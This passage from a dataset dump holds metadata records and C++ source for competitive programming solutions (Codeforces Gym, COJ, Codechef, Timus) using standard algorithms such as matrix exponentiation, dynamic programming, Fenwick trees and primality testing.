0.5025125741958618, "avg_line_length": 18.25806427001953, "blob_id": "c7b86643c232e24d05e0741987c13170e3c6ef3b", "content_id": "842713738919bb67c3a5062079683b5f63ff4b52", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 597, "license_type": "no_license", "max_line_length": 37, "num_lines": 31, "path": "/Codeforces-Gym/100738 - KTU Programming Camp (Day 2)/B.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "// KTU Programming Camp (Day 2)\n// 100738B\n\n#include<bits/stdc++.h>\n#define MAXN 18\nusing namespace std;\ntypedef unsigned long long ull;\ntypedef vector<int> vi;\ntypedef vi::iterator viit;\ntypedef vi::reverse_iterator virit;\nconst ull M = 1000000000ull;\null n;\nint main(){\n ios::sync_with_stdio(0);\n cin.tie();\n //freopen( \"d.txt\", \"r\", stdin );\n cin >> n;\n ull a = 0, sol = 0;\n do{\n a = (n/2)*( n/2 + (n&1) );\n if( a <= n ){\n cout << \"-1\\n\";\n return 0;\n }\n n = a;\n sol++;\n }while( n < M );\n\n cout << sol << \"\\n\";\n\n}\n" }, { "alpha_fraction": 0.48317307233810425, "alphanum_fraction": 0.5144230723381042, "avg_line_length": 15.333333015441895, "blob_id": "666c27feb06cc2ac5564935d7b03be299c630d89", "content_id": "80878b88833c33dd08c30c06151cfb8f074055d5", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 416, "license_type": "no_license", "max_line_length": 44, "num_lines": 24, "path": "/COJ/eliogovea-cojAC/eliogovea-p3628-Accepted-s1009544.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\r\n\r\nusing namespace std;\r\n\r\nint main() {\r\n\tios::sync_with_stdio(false);\r\n\tcin.tie(0);\r\n\tstring line;\r\n\twhile (getline(cin, line)) {\r\n\t\tistringstream in1(line);\r\n\t\tstring s;\r\n\t\tstring s1;\r\n\t\twhile (in1 >> s) {\r\n\t\t\ts1 += s[0];\r\n\t\t}\r\n\t\tgetline(cin, line);\r\n\t\tistringstream in2(line);\r\n\t\tstring s2;\r\n\t\twhile (in2 >> s) {\r\n\t\t\ts2 += s[0];\r\n\t\t}\r\n\t\tcout << (s1 == s2 ? \"yes\" : \"no\") << \"\\n\";\r\n\t}\r\n}\r\n" }, { "alpha_fraction": 0.39694657921791077, "alphanum_fraction": 0.4484732747077942, "avg_line_length": 16.27472496032715, "blob_id": "c28c09bec106a865c884fd7c0d5823aa9d1fd98c", "content_id": "bfcd485ca4255a26d7e73191f6f37f5025af4d9e", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1572, "license_type": "no_license", "max_line_length": 60, "num_lines": 91, "path": "/COJ/eliogovea-cojAC/eliogovea-p4077-Accepted-s1268935.cc", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\n\nusing namespace std;\n\nconst int MOD = 1000 * 1000 * 1000 + 7;\nconst int SIZE = 4;\n\nstruct matrix {\n\tint values[SIZE][SIZE];\n\n\tmatrix(int x = 0) {\n\t\tfor (int i = 0; i < SIZE; i++) {\n\t\t\tfor (int j = 0; j < SIZE; j++) {\n\t\t\t\tvalues[i][j] = 0;\n\t\t\t}\n\t\t\tvalues[i][i] = x;\n\t\t}\n\t}\n\n\tint * operator [] (int row) {\n\t\treturn values[row];\n\t}\n\n\tconst int * operator [] (int row) const {\n\t\treturn values[row];\n\t}\n};\n\n\nmatrix operator * (const matrix & lhs, const matrix & rhs) {\n\tmatrix result(0);\n\tfor (int i = 0; i < SIZE; i++) {\n\t\tfor (int j = 0; j < SIZE; j++) {\n\t\t\tfor (int k = 0; k < SIZE; k++) {\n\t\t\t\tresult[i][j] += (long long)lhs[i][k] * rhs[k][j] % MOD;\n\t\t\t\tif (result[i][j] >= MOD) {\n\t\t\t\t\tresult[i][j] -= MOD;\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n\treturn result;\n}\n\nmatrix power(matrix x, int n) {\n\tmatrix y(1);\n\twhile (n) {\n\t\tif (n & 1) {\n\t\t\ty = y * x;\n\t\t}\n\t\tx = x * x;\n\t\tn >>= 1;\n\t}\n\treturn y;\n}\n\nint main() {\n\tios::sync_with_stdio(false);\n\tcin.tie(0);\n\n\tint a, b, c, d, e, f;\n\tcin >> a >> b >> c >> d >> e >> f;\n\n\tmatrix M(0);\n\n\tM[0][0] = a; M[0][1] = 0; M[0][2] = 0; M[0][3] = 0;\n\tM[1][0] = 0; M[1][1] = d; M[1][2] = 1; M[1][3] = 0;\n\tM[2][0] = b; M[2][1] = e; M[2][2] = 0; M[2][3] = 0;\n\tM[3][0] = c; M[3][1] = f; M[3][2] = 0; M[3][3] = 1;\n\n\tvector <int> v = {1, 1, 0, 1}; // [f(1), g(1), g(0), 1]\n\n\tint t;\n\tcin >> t;\n\twhile (t--) {\n\t\tint n;\n\t\tcin >> n;\n\n\t\tauto P = power(M, n - 1);\n\n\t\tint answer = 0;\n\t\tfor (int i = 0; i < SIZE; i++) {\n\t\t\tanswer += (long long)v[i] * P[i][0] % MOD;\n\t\t\tif (answer >= MOD) {\n\t\t\t\tanswer -= MOD;\n\t\t\t}\n\t\t}\n\n\t\tcout << answer << \"\\n\";\n\t}\n}\n" }, { "alpha_fraction": 0.3641025722026825, "alphanum_fraction": 0.42820513248443604, "avg_line_length": 15.727272987365723, "blob_id": "299d011251b01007cf063253c930d88f14bac045", "content_id": "15ed696a867c830fbac9be9c31fbd319355aef26", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 390, "license_type": "no_license", "max_line_length": 63, "num_lines": 22, "path": "/COJ/eliogovea-cojAC/eliogovea-p2540-Accepted-s497461.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include<cstdio>\r\n#include<cmath>\r\n#include<algorithm>\r\nusing namespace std;\r\ndouble r1,r2;\r\n\r\nint main()\r\n{\r\n while(scanf(\"%lf%lf\",&r1,&r2)!=EOF)\r\n {\r\n if(r2>r1)\r\n {\r\n double aux=r1;\r\n r1=r2;\r\n r2=aux;\r\n }\r\n r1/=2;\r\n r2/=2;\r\n printf(\"%.6lf\\n\",2*r1*(max(2*r1,r1+r2+2*sqrt(r1*r2))));\r\n }\r\n return 0;\r\n}\r\n" }, { "alpha_fraction": 0.41401273012161255, "alphanum_fraction": 0.4522292912006378, "avg_line_length": 10.076923370361328, "blob_id": "d48b771a436972513aafe69d584a2fbd5742e783", "content_id": "977322a6fdeb0db25c37aebcac0b9ad06efdeb28", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 157, "license_type": "no_license", "max_line_length": 33, "num_lines": 13, "path": "/COJ/eliogovea-cojAC/eliogovea-p1778-Accepted-s548614.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include<cstdio>\r\n\r\nint n;\r\ndouble a,b;\r\n\r\nint main()\r\n{\r\n\tfor(scanf(\"%d\",&n);n--;)\r\n\t{\r\n\t\tscanf(\"%lf%lf\",&a,&b);\r\n\t\tprintf(\"%.8lf\\n\",3.0*a*b/16.0);\r\n\t}\r\n}\r\n" }, { "alpha_fraction": 0.3788461685180664, "alphanum_fraction": 0.4057692289352417, "avg_line_length": 13.416666984558105, "blob_id": "c344cb0073ea91e49f029a92587503703d8f5bdc", "content_id": "8cc8392e9f66704e556227de10b64d74b910f48d", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 520, "license_type": "no_license", "max_line_length": 40, "num_lines": 36, "path": "/Codechef/LINNUM.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\n\nusing namespace std;\n\nint t;\nint n;\nstring s[105];\nint x;\nint cnt[105];\nint ans;\n\nint main() {\n\tios::sync_with_stdio(false);\n\tcin.tie(0);\n\tcin >> t;\n\twhile (t--) {\n\t\tcin >> n;\n\t\tfor (int i = 0; i < n; i++) {\n\t\t\tcin >> s[i];\n\t\t}\n\t\tcin >> x;\n\t\tans = -1;\n\t\tfor (int i = 0; i < n; i++) {\n cnt[i] = 0;\n\t\t\tfor (int j = 0; s[i][j]; j++) {\n\t\t\t\tif (s[i][j] - '0' == x) {\n\t\t\t\t\tcnt[i]++;\n\t\t\t\t}\n\t\t\t}\n\t\t\tif (ans == -1 || cnt[i] > cnt[ans]) {\n\t\t\t\tans = i;\n\t\t\t}\n\t\t}\n\t\tcout << s[ans] << \"\\n\";\n\t}\n}\n\n" }, { "alpha_fraction": 0.464550256729126, "alphanum_fraction": 0.5005291104316711, "avg_line_length": 17.173076629638672, "blob_id": "2f190279790723932c949bff62a823082039966e", "content_id": "19b8bae2d537212e99e98a8a300be69f4c9d99e5", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 945, "license_type": "no_license", "max_line_length": 63, "num_lines": 52, "path": "/Codeforces-Gym/100523 - 2014-2015 CT S02E07: Codeforces Trainings Season 2 Episode 7/C.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "// 2014-2015 CT S02E07: Codeforces Trainings Season 2 Episode 7\n// 100523C\n\n#include <bits/stdc++.h>\n\nusing namespace std;\n\n#define forr(i, n) for(int i = 0; i < (int)(n); ++i)\n#define ffor(i, n) for(int i = 1; i <= (int)(n); ++i)\n#define revforr(n , i) for(int i = (int)(n)-1; i >= 0; i--)\n\n#define kasign(a,b) a = b\n\n#define keqq( a , b ) (a == b)\n#define kmineqq( a , b ) ( a <= b )\n#define kmaxeqq( a , b ) ( a >= b )\n\n#define kmm(a) a++\n\n#define kadd(a,b) a+=b\n#define krest(a,b) a-=b\n#define kmas(a,b) (a+b)\n\n#define kxorr( a , b ) (a ^ b)\n\n#define kfill( a , n , v ) fill( a , a + n , v )\n#define kmod( a , b ) ( a % b )\n\ntypedef long long ll;\nconst int MAXN = 10000;\n\n\n\nint main(){\n ios::sync_with_stdio(0);\n cin.tie(0);\n\n //freopen(\"dat.txt\",\"r\",stdin);\n\n ll n; cin >> n;\n\n while( !kmod( n , 2 ) ){\n n /= 2;\n }\n\n if( keqq( n , 1 ) ){\n cout << \"TAK\\n\";\n }\n else{\n cout << \"NIE\\n\";\n }\n}\n" }, { "alpha_fraction": 0.42663273215293884, "alphanum_fraction": 0.4868532717227936, "avg_line_length": 20.053571701049805, "blob_id": "ae907958c4e6e0a849f16536d5f9bf13ba04d587", "content_id": "e70bcf4f8fa9100c5912701178cd2e8453ef3d95", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1179, "license_type": "no_license", "max_line_length": 105, "num_lines": 56, "path": "/Codeforces-Gym/100494 - 2014-2015 CT S02E03: Codeforces Trainings Season 2 Episode 3 (NCPC 2008 + USACO DEC07 + GCJ 2008 Qual)/A.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "// 2014-2015 CT S02E03: Codeforces Trainings Season 2 Episode 3 (NCPC 2008 + USACO DEC07 + GCJ 2008 Qual)\n// 100494A\n\n#include <bits/stdc++.h>\n\nusing namespace std;\n\nconst int N = 1005;\n\nconst double INF = 1e14;\n\nint n;\ndouble l, w;\ndouble p[2 * N];\n\ndouble dp[N][N];\n\ndouble solve(int ll, int rr) {\n\tif (ll == 0 && rr == 0) {\n\t\treturn 0.0;\n\t}\n\tif (dp[ll][rr] > -0.5) {\n\t\treturn dp[ll][rr];\n\t}\n\tdouble res = INF;\n\tif (ll > 0) {\n\t\tdouble delta = l / (double)(n / 2 - 1);\n\t\tdouble y = delta * (double)(ll - 1.0);\n\t\tres = min(res, solve(ll - 1, rr) + abs(p[ll + rr - 1] - y));\n\t}\n\tif (rr > 0) {\n\t\tdouble delta = l / (double)(n / 2 - 1);\n\t\tdouble y = delta * (double)(rr - 1.0);\n\t\tres = min(res, solve(ll, rr - 1) + sqrt((p[ll + rr - 1] - y) * (p[ll + rr - 1] - y) + w * w));\n\t}\n\tdp[ll][rr] = res;\n\t//cout << ll << \" \" << rr << \" \" << res << \"\\n\";\n\treturn res;\n}\n\nint main() {\n\tios::sync_with_stdio(false);\n\tcin.tie(0);\n\tcin >> n >> l >> w;\n\tfor (int i = 0; i < n; i++) {\n cin >> p[i];\n\t}\n\tfor (int i = 0; i <= n / 2; i++) {\n\t\tfor (int j = 0; j <= n / 2; j++) {\n\t\t\tdp[i][j] = -1.0;\n\t\t}\n\t}\n\tsort(p, p + n);\n\tcout.precision(15);\n\tcout << fixed << solve(n / 2, n / 2) << \"\\n\";\n}\n" }, { "alpha_fraction": 0.4361445903778076, "alphanum_fraction": 0.45301204919815063, "avg_line_length": 14.600000381469727, "blob_id": "1c8a3e498587f8a245f5c120d88045d9fe0a9298", "content_id": "52f32fa9aa3430273e406d1a226e98780b9c6878", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 415, "license_type": "no_license", "max_line_length": 43, "num_lines": 25, "path": "/COJ/eliogovea-cojAC/eliogovea-p3346-Accepted-s826336.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\r\n\r\nusing namespace std;\r\n\r\nint n, b, t;\r\nint a[10005];\r\n\r\nint main() {\r\n\tios::sync_with_stdio(false);\r\n\tcin.tie(0);\r\n\t//freopen(\"dat.txt\", \"r\", stdin);\r\n\tcin >> n >> b;\r\n\tfor (int i = 0; i < n; i++) {\r\n\t\tcin >> a[i];\r\n\t}\r\n\tsort(a, a + n);\r\n\tcin >> t;\r\n\tint x;\r\n\twhile (t--) {\r\n\t\tcin >> x;\r\n\t\tint cnt = b / x;\r\n\t\tint ans = upper_bound(a, a + n, cnt) - a;\r\n\t\tcout << n - ans << \"\\n\";\r\n\t}\r\n}\r\n" }, { "alpha_fraction": 0.3545369505882263, "alphanum_fraction": 0.38166511058807373, "avg_line_length": 17.11864471435547, "blob_id": "7f1972737d143b66ed5f65c333267f3d9fbf742f", "content_id": "d6236e4b93e59c8da061230b83d148fa93e92aa0", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1069, "license_type": "no_license", "max_line_length": 50, "num_lines": 59, "path": "/Codeforces-Gym/100739 - KTU Programming Camp (Day 3)/I.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "// KTU Programming Camp (Day 3)\n// 100739I\n\n#include <bits/stdc++.h>\n\nusing namespace std;\n\ntypedef long long LL;\n\nconst double eps = 1e-7;\n\nlong double a, b, r;\n\ninline long double get_r(int n) {\n return r / sin(M_PI / (long double)n) - r;\n}\n\nint solve() {\n int lo = 3;\n int hi = 1e8;\n int x = -1;\n while (lo <= hi) {\n int mid = (lo + hi) >> 1;\n if (get_r(mid) + eps >= a) {\n x = mid;\n hi = mid - 1;\n } else {\n lo = mid + 1;\n }\n }\n if (x == -1) {\n return 0;\n }\n lo = 3;\n hi = 1e8;\n int y = -1;\n while (lo <= hi) {\n int mid = (lo + hi) >> 1;\n if (get_r(mid) <= b + eps) {\n y = mid;\n lo = mid + 1;\n } else {\n hi = mid - 1;\n }\n }\n if (y == -1) {\n return 0;\n }\n //cout << get_r(x) << \" \" << get_r(y) << \"\\n\";\n //cout << x << \" \" << y << \"\\n\";\n return y - x + 1;\n}\n\nint main() {\n ios::sync_with_stdio(false);\n cin.tie(0);\n cin >> a >> b >> r;\n cout << solve() << \"\\n\";\n}\n" }, { "alpha_fraction": 0.36867469549179077, "alphanum_fraction": 0.4000000059604645, "avg_line_length": 17.5, "blob_id": "acaf9cd56336688655cb611ad2938c55321dd805", "content_id": "c06a02cd229772763ae41ca46a548b3314172451", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1245, "license_type": "no_license", "max_line_length": 83, "num_lines": 64, "path": "/Timus/1635-6224067.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "// Problem: pace=1&num=1635\n// Verdict: Accepted\n\n#include <bits/stdc++.h>\r\n\r\nusing namespace std;\r\n\r\nconst int N = 4005;\r\n\r\nstring s;\r\nint n;\r\nbool pal[N][N];\r\nint dp[N];\r\nint trace[N];\r\nvector<string> ans;\r\n\r\nint main() {\r\n\tios::sync_with_stdio(false);\r\n\tcin.tie(0);\r\n\t//freopen(\"dat.txt\", \"r\", stdin);\r\n\tcin >> s;\r\n\tint n = s.size();\r\n\tfor (int i = 1; i <= n; i++) {\r\n\t\tpal[i][i] = true;\r\n\t}\r\n\tfor (int i = 1; i < n; i++) {\r\n\t\tpal[i][i + 1] = s[i - 1] == s[i];\r\n\t}\r\n\tfor (int l = 3; l <= n; l++) {\r\n\t\tfor (int i = 1; i + l - 1 <= n; i++) {\r\n\t\t\tpal[i][i + l - 1] = pal[i + 1][i + l - 1 - 1] && (s[i - 1] == s[i + l - 1 - 1]);\r\n\t\t}\r\n\t}\r\n\tdp[0] = 0;\r\n\tfor (int i = 1; i <= n; i++) {\r\n\t\tdp[i] = -1;\r\n\t}\r\n\tfor (int i = 1; i <= n; i++) {\r\n\t\tfor (int j = i; j >= 1; j--) {\r\n\t\t\tif (pal[j][i] && (dp[i] == -1 || dp[j - 1] + 1 < dp[i])) {\r\n\t\t\t\tdp[i] = dp[j - 1] + 1;\r\n\t\t\t\ttrace[i] = j - 1;\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n\tint x = n;\r\n\twhile (x != 0) {\r\n\t\tstring y;\r\n\t\tfor (int i = trace[x]; i < x; i++) {\r\n\t\t\ty += s[i];\r\n\t\t}\r\n\t\tx = trace[x];\r\n\t\tans.push_back(y);\r\n\t}\r\n\treverse(ans.begin(), ans.end());\r\n\tcout << ans.size() << \"\\n\";\r\n\tfor (int i = 0; i < ans.size(); i++) {\r\n\t\tcout << ans[i];\r\n\t\tif (i + 1 < ans.size()) {\r\n\t\t\tcout << \" \";\r\n\t\t}\r\n\t}\r\n\tcout << \"\\n\";\r\n}\r\n" }, { "alpha_fraction": 0.3024574816226959, "alphanum_fraction": 0.349716454744339, "avg_line_length": 16.915254592895508, "blob_id": "16c768bda0322f8d1d3412f0b279582dfafdc4a9", "content_id": "077003e59f1f1a5d4ca72f3dfe7badce639f6ecb", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1058, "license_type": "no_license", "max_line_length": 57, "num_lines": 59, "path": "/Codechef/GRGUY.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\n\nusing namespace std;\n\nint t;\nstring s[2];\n\nconst int N = 1000005;\n\nint dp[2][N];\n\nconst int INF = 1e9;\n\nint main() {\n\tios::sync_with_stdio(false);\n\tcin.tie(0);\n\tcin >> t;\n\twhile (t--) {\n\t\tcin >> s[0] >> s[1];\n\t\tint n = s[0].size();\n\t\tfor (int i = 1; i <= n; i++) {\n\t\t\tfor (int j = 0; j < 2; j++) {\n\t\t\t\tdp[j][i] = INF;\n\t\t\t}\n\t\t}\n\t\tdp[0][0] = dp[1][0] = 0;\n\t\tfor (int i = 0; i < n; i++) {\n\t\t\tif (dp[0][i] > dp[1][i] + 1) {\n\t\t\t\t\tdp[0][i] = dp[1][i] + 1;\n\t\t\t}\n\t\t\tif (dp[1][i] > dp[0][i] + 1) {\n\t\t\t\t\tdp[1][i] = dp[0][i] + 1;\n\t\t\t}\n\t\t\tfor (int j = 0; j < 2; j++) {\n\t\t\t\tif (i == 0 || (s[j][i - 1] == '.')) {\n\t\t\t\t\tint a = j;\n\t\t\t\t\tint b = i + 1;\n\t\t\t\t\tif (s[a][b - 1] == '.' && dp[a][b] > dp[j][i]) {\n\t\t\t\t\t\tdp[a][b] = dp[j][i];\n\t\t\t\t\t}\n\t\t\t\t\ta = j ^ 1;\n\t\t\t\t\tb = i + 1;\n\t\t\t\t\tif (s[a][b - 1] == '.' && dp[a][b] > dp[j][i] + 1) {\n\t\t\t\t\t\tdp[a][b] = dp[j][i] + 1;\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\tint id = 0;\n\t\tif (dp[1][n] < dp[id][n]) {\n\t\t\tid = 1;\n\t\t}\n\t\tif (dp[id][n] == INF) {\n\t\t\tcout << \"No\\n\";\n\t\t} else {\n\t\t\tcout << \"Yes\\n\" << dp[id][n] << \"\\n\";\n\t\t}\n\t}\n}\n\n" }, { "alpha_fraction": 0.36765527725219727, "alphanum_fraction": 0.39395636320114136, "avg_line_length": 15.546296119689941, "blob_id": "26aca35b73850e191398834efe7dc8fad6286b86", "content_id": "097f1d8e9d790c17b809446c59eb3b0c49f94b8b", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1787, "license_type": "no_license", "max_line_length": 69, "num_lines": 108, "path": "/Codeforces-Gym/100112 - 2012 Nordic Collegiate Programming Contest (NCPC)/C.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "// 2012 Nordic Collegiate Programming Contest (NCPC)\n// 100112C\n\n#include <bits/stdc++.h>\n\nusing namespace std;\n\ntypedef long long ll;\ntypedef pair<int,int> par;\n\nconst int MAXN = 1000010;\n\nint n;\npar a[MAXN];\nint ind[MAXN];\nint pos[MAXN];\n\nstring l[MAXN];\nint sz;\n\nint get_num( string &s ){\n int n = s.size();\n\n int num = 0;\n for( int i = 0; i < n; i++ ){\n num *= 10;\n num += s[i] - '0';\n }\n\n return num;\n}\n\nint BIT[MAXN];\n\nvoid update_bit( int ind , int upd ){\n while( ind < n ){\n BIT[ind] += upd;\n ind += ( ind & -ind );\n }\n}\n\nint query_bit( int ind ){\n int ret = 0;\n while( ind > 0 ){\n ret += BIT[ind];\n ind -= ( ind & -ind );\n }\n return ret;\n}\n\nint get_ith( int ith ){\n int p = 0;\n int ini = 1, fin = n-1;\n while( ini <= fin ){\n int mid = ( ini + fin ) / 2;\n if( query_bit( mid ) >= ith ){\n p = mid;\n fin = mid - 1;\n }\n else{\n ini = mid + 1;\n }\n }\n\n return p;\n}\n\nint main(){\n ios::sync_with_stdio(0);\n cin.tie(0);\n\n //freopen(\"dat.txt\",\"r\",stdin);\n\n n = 1;\n sz = 0;\n\n while( cin >> l[sz] ){\n if( l[sz][0] != '#' ){\n a[n] = par( get_num( l[sz] ) , sz );\n n++;\n }\n sz++;\n }\n\n sort( a + 1 , a + n );\n\n for( int i = 1; i < n; i++ ){\n ind[ a[i].second ] = i;\n }\n\n int cant = 0;\n\n for( int i = 0; i < sz; i++ ){\n if( l[i][0] != '#' ){\n update_bit( ind[i] , 1 );\n cant++;\n }\n else{\n int ith = ( cant & 1 ) ? ( cant + 1 ) / 2 : cant / 2 + 1;\n int p = get_ith( ith );\n\n cout << a[p].first << '\\n';\n\n update_bit( p , -1 );\n cant--;\n }\n }\n}\n" }, { "alpha_fraction": 0.38129281997680664, "alphanum_fraction": 0.4149538278579712, "avg_line_length": 15.575916290283203, "blob_id": "0811c3281580071ed2c156e76ed5ad3757c5be99", "content_id": "8175c9bcad751b87915c7e98c6c64a8d08e1bc5d", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 3357, "license_type": "no_license", "max_line_length": 68, "num_lines": 191, "path": "/COJ/eliogovea-cojAC/eliogovea-p3895-Accepted-s1123280.cc", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\r\n\r\nusing namespace std;\r\n\r\ntypedef long long LL;\r\ntypedef unsigned long long ULL;\r\n\r\nconst int N = 1000 * 1000;\r\n\r\nconst int MOD = 1000 * 1000 * 1000 + 7;\r\n\r\n\r\nint sieve[N];\r\nint primes[N], szp;\r\n\r\ninline LL mul(LL a, LL b, LL mod) {\r\n // assert(0 <= a && a < mod);\r\n // assert(0 <= b && b < mod);\r\n if (mod < int(1e9)) {\r\n\t\treturn a * b % mod;\r\n\t}\r\n LL k = (LL)((long double)a * b / mod);\r\n LL res = a * b - k * mod;\r\n res %= mod;\r\n if (res < 0) {\r\n\t\tres += mod;\r\n\t}\r\n return res;\r\n}\r\n\r\n// inline LL mul(LL a, LL b, LL mod) {\r\n\t// LL res = 0;\r\n\t// a %= mod;\r\n\t// while (b) {\r\n\t\t// if (b & 1) {\r\n\t\t\t// res = res + a;\r\n\t\t\t// if (res >= mod) {\r\n\t\t\t\t// res -= mod;\r\n\t\t\t// }\r\n\t\t// }\r\n\t\t// a = a + a;\r\n\t\t// if (a >= mod) {\r\n\t\t\t// a -= mod;\r\n\t\t// }\r\n\t// }\r\n\t// return res;\r\n// }\r\n\r\ninline LL power(LL x, LL n, LL mod) {\r\n\tLL res = 1;\r\n\twhile (n) {\r\n\t\tif (n & 1) {\r\n\t\t\tres = mul(res, x, mod);\r\n\t\t}\r\n\t\tx = mul(x, x, mod);\r\n\t\tn >>= 1;\r\n\t}\r\n\treturn res;\r\n}\r\n\r\nconst int test[] = {2, 3, 5, 7, 11, 13, 17, 19, 23, 27, -1};\r\n\r\ninline bool isPrime(LL n) {\r\n\tif (n < N) {\r\n\t\treturn !sieve[n];\r\n\t}\r\n\tfor (int i = 0; test[i] > 0; i++) {\r\n\t\tif (n % test[i] == 0) {\r\n\t\t\treturn false;\r\n\t\t}\r\n\t}\r\n\tLL d = n - 1;\r\n\tint a = 0;\r\n\twhile (!(d & 1)) {\r\n\t\td >>= 1;\r\n\t\ta++;\r\n\t}\r\n\tfor (int i = 0; test[i] > 0; i++) {\r\n\t\tLL cur = power(test[i], d, n);\r\n\t\tif (cur == 1) {\r\n\t\t\tcontinue;\r\n\t\t}\r\n\t\tbool ok = false;\r\n\t\tfor (int j = 0; j < a; j++) {\r\n\t\t\tif (cur == n - 1) {\r\n\t\t\t\tok = true;\r\n\t\t\t\tbreak;\r\n\t\t\t}\r\n\t\t\tcur = mul(cur, cur, n);\r\n\t\t}\r\n\t\tif (!ok) {\r\n\t\t\treturn false;\r\n\t\t}\r\n\t}\r\n\treturn true;\r\n}\r\n\r\ninline LL isSquare(ULL x) {\r\n\tULL lo = 1;\r\n\tULL hi = 1000 * 1000 * 1000;\r\n\twhile (lo <= hi) {\r\n\t\tULL mid = (lo + hi) >> 1ULL;\r\n\t\tif (mid * mid == x) {\r\n\t\t\treturn (LL)mid;\r\n\t\t}\r\n\t\tif (mid * mid > x) {\r\n\t\t\thi = mid - 1ULL;\r\n\t\t} else {\r\n\t\t\tlo = mid + 1ULL;\r\n\t\t}\r\n\t}\r\n\treturn -1;\r\n}\r\n\r\ninline int c2(int n) {\r\n\treturn n * (n - 1) / 2;\r\n}\r\n\r\n\r\nint main() {\r\n\tios::sync_with_stdio(false);\r\n\tcin.tie(0);\r\n\r\n\t// freopen(\"dat.txt\", \"r\", stdin);\r\n\r\n\tsieve[0] = sieve[1] = -1;\r\n\tfor (int i = 2; i * i < N; i++) {\r\n\t\tif (!sieve[i]) {\r\n\t\t\tfor (int j = i * i; j < N; j += i) {\r\n\t\t\t\tif (!sieve[j]) {\r\n\t\t\t\t\tsieve[j] = i;\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n\r\n\tszp = 0;\r\n\tfor (int i = 2; i < N; i++) {\r\n\t\tif (!sieve[i] || sieve[i] == i) {\r\n\t\t\tsieve[i] = i;\r\n\t\t\tprimes[szp++] = i;\r\n\t\t}\r\n\t}\r\n\r\n\tconst int INV2 = power(2, MOD - 2, MOD);\r\n\r\n\tLL n;\r\n\tcin >> n;\r\n\r\n\tif (n < N) {\r\n\t\tint answer = 1;\r\n\t\twhile (n != 1) {\r\n\t\t\tint p = sieve[n];\r\n\t\t\tint e = 0;\r\n\t\t\twhile (sieve[n] == p) {\r\n\t\t\t\te++;\r\n\t\t\t\tn /= p;\r\n\t\t\t}\r\n\t\t\tanswer = (long long)answer * c2(e + 2) % MOD;\r\n\t\t}\r\n\t\tcout << answer << \"\\n\";\r\n\t} else {\r\n\t\t\tint answer = 1;\r\n\t\t\tfor (int i = 0; i < szp && (LL)primes[i] * primes[i] <= n; i++) {\r\n\t\t\tint e = 0;\r\n\t\t\twhile (n % primes[i] == 0) {\r\n\t\t\t\tn /= primes[i];\r\n\t\t\t\te++;\r\n\t\t\t}\r\n\t\t\tanswer = (long long)answer * c2(e + 2) % MOD;\r\n\t\t}\r\n\t\tif (n != 1) {\r\n\t\t\tif (n < N) { // assert(false);\r\n\t\t\t\tanswer = (long long)answer * c2(3) % MOD;\r\n\t\t\t} else {\r\n\t\t\t\tif (isPrime(n)) {\r\n\t\t\t\t\tanswer = (long long)answer * c2(3);\r\n\t\t\t\t} else {\r\n\t\t\t\t\tLL v = isSquare(n);\r\n\t\t\t\t\tif (v != -1) {\r\n\t\t\t\t\t\tanswer = (long long)answer * c2(4) % MOD;\r\n\t\t\t\t\t} else {\r\n\t\t\t\t\t\tanswer = (long long)answer * c2(3) % MOD;\r\n\t\t\t\t\t\tanswer = (long long)answer * c2(3) % MOD;\r\n\t\t\t\t\t}\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t}\r\n\t\tcout << answer << \"\\n\";\r\n\t}\r\n}\r\n" }, { "alpha_fraction": 0.4263157844543457, "alphanum_fraction": 0.4543859660625458, "avg_line_length": 18.570816040039062, "blob_id": "9fcbdf7d50bb6b9858d931ad11747b66b840c8e4", "content_id": "97464735c1d7ec3b96dcfe9422335aa28bad1abf", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 4560, "license_type": "no_license", "max_line_length": 91, "num_lines": 233, "path": "/Codeforces-Gym/101173 - 2016-2017 ACM-ICPC, Central Europe Regional Contest (CERC 16)/H.cpp", "repo_name": 